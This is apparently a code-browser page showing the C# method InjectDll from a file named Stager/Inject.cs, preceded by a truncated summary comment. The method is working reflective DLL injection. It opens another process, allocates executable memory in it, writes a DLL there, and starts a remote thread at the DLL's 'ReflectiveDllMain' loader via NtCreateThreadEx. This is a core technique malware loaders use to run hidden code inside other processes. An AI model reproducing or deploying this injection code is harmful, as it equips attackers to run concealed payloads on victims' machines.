Method InjectDll

Stager/Inject.cs:21–43

Injects a DLL using reflective DLL injection. The DLL must export a function called "ReflectiveDllMain". The bitness of the target process must match that of the DLL file. The process to inject the DLL in. The DLL file to inject , if the DLL was successfully inj

(int processId, byte[] dll)

	/// <see langword="false" />, if injection failed.
	/// </returns>
	public static bool InjectDll(int processId, byte[] dll)
	{
		IntPtr process = OpenProcess(0x43a, false, processId);
		if (process != IntPtr.Zero)
		{
			// Get function pointer to the shellcode that loads the DLL reflectively.
			int entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain");
			if (entryPoint != 0)
			{
				IntPtr allocatedMemory = VirtualAllocEx(process, IntPtr.Zero, (uint)dll.Length, 0x3000, 0x40);
				if (allocatedMemory != IntPtr.Zero)
				{
					if (WriteProcessMemory(process, allocatedMemory, dll, dll.Length, out _))
					{
						IntPtr thread = IntPtr.Zero;
						return NtCreateThreadEx(ref thread, 0x1fffff, IntPtr.Zero, process, (IntPtr)((long)allocatedMemory + entryPoint), allocatedMemory, false, 0, 0, 0, IntPtr.Zero) == IntPtr.Zero;
					}
				}
			}
		}

		return false;
	}

	private static bool IsExecutable64Bit(byte[] image)
	{